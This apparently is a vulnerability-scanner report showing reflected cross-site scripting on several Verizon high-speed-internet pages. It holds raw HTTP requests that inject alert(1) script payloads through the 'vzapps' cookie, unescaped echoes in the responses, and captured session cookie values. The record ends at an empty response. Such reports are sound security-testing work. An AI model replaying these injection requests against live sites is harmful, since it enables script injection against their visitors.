GET /Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXedaca'><script>alert(1)</script>b8648eeae87; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 64488 Expires: Sat, 20 Nov 2010 02:12:41 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:41 GMT Connection: close Set-Cookie: ContextInfo_State=TXedaca'><script>alert(1)</script>b8648eeae87; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet | Check Availability </title><meta name="keywords" content="how to get verizon high speed internet, order verizon high ...[SNIP]... <input type='hidden' id='locationInfo' value='TXEDACA'><SCRIPT>ALERT(1)</SCRIPT>B8648EEAE87 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1739b'><script>alert(1)</script>434d128ffee was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX1739b'><script>alert(1)</script>434d128ffee; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 92742 Expires: Sat, 20 Nov 2010 02:12:41 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:41 GMT Connection: close Set-Cookie: ContextInfo_State=TX1739b'><script>alert(1)</script>434d128ffee; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: Features & Services </title><meta name="keywords" content="verizon high speed internet features, verizon features ...[SNIP]... <input type='hidden' id='locationInfo' value='TX1739B'><SCRIPT>ALERT(1)</SCRIPT>434D128FFEE ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 62570<script>alert(1)</script>87eb268e430 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX62570<script>alert(1)</script>87eb268e430; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 92738 Expires: Sat, 20 Nov 2010 02:12:42 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:42 GMT Connection: close Set-Cookie: ContextInfo_State=TX62570<script>alert(1)</script>87eb268e430; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: Features & Services </title><meta name="keywords" content="verizon high speed internet features, verizon features ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX62570<SCRIPT>ALERT(1)</SCRIPT>87EB268E430 </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5cb38'><script>alert(1)</script>20fbdf6b466 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/HSIvsCable/HSIvsCable.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX5cb38'><script>alert(1)</script>20fbdf6b466; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 68020 Expires: Sat, 20 Nov 2010 02:11:34 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:11:34 GMT Connection: close Set-Cookie: ContextInfo_State=TX5cb38'><script>alert(1)</script>20fbdf6b466; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2cb7b<script>alert(1)</script>f0189105aea was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/HSIvsCable/HSIvsCable.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2cb7b<script>alert(1)</script>f0189105aea; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 68016 Expires: Sat, 20 Nov 2010 02:11:36 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:11:36 GMT Connection: close Set-Cookie: ContextInfo_State=TX2cb7b<script>alert(1)</script>f0189105aea; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 194a6'><script>alert(1)</script>2fd72da871 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX194a6'><script>alert(1)</script>2fd72da871; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 57999 Expires: Sat, 20 Nov 2010 02:12:47 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:47 GMT Connection: close Set-Cookie: ContextInfo_State=TX194a6'><script>alert(1)</script>2fd72da871; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 4065d<script>alert(1)</script>5ddbcf331f was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX4065d<script>alert(1)</script>5ddbcf331f; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 57995 Expires: Sat, 20 Nov 2010 02:12:47 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:47 GMT Connection: close Set-Cookie: ContextInfo_State=TX4065d<script>alert(1)</script>5ddbcf331f; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ae4e1'><script>alert(1)</script>ff47fc759aa was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXae4e1'><script>alert(1)</script>ff47fc759aa; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 94442 Expires: Sat, 20 Nov 2010 02:12:39 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:39 GMT Connection: close Set-Cookie: ContextInfo_State=TXae4e1'><script>alert(1)</script>ff47fc759aa; path=/ Set-Cookie: ContextInfo_Language=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: Plans </title><meta name="keywords" content="verizon high speed internet plans, verizon high speed internet prices, v ...[SNIP]... <input type='hidden' id='locationInfo' value='TXAE4E1'><SCRIPT>ALERT(1)</SCRIPT>FF47FC759AA ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 24a11<script>alert(1)</script>42da884f4fe was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX24a11<script>alert(1)</script>42da884f4fe; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 94438 Expires: Sat, 20 Nov 2010 02:12:44 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:12:44 GMT Connection: close Set-Cookie: ContextInfo_State=TX24a11<script>alert(1)</script>42da884f4fe; path=/ Set-Cookie: ContextInfo_Language=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: Plans </title><meta name="keywords" content="verizon high speed internet plans, verizon high speed internet prices, v ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX24A11<SCRIPT>ALERT(1)</SCRIPT>42DA884F4FE </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 426b9'><script>alert(1)</script>37e01c2eceb was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Value/Value.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX426b9'><script>alert(1)</script>37e01c2eceb; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 74937 Expires: Sat, 20 Nov 2010 02:11:30 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:11:30 GMT Connection: close Set-Cookie: ContextInfo_State=TX426b9'><script>alert(1)</script>37e01c2eceb; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: About High Speed Internet </title><meta name="Keywords" description="reliability, low price, free content, free email ...[SNIP]... <input type='hidden' id='locationInfo' value='TX426B9'><SCRIPT>ALERT(1)</SCRIPT>37E01C2ECEB ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 197a3<script>alert(1)</script>26eaa0e1290 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Value/Value.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX197a3<script>alert(1)</script>26eaa0e1290; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
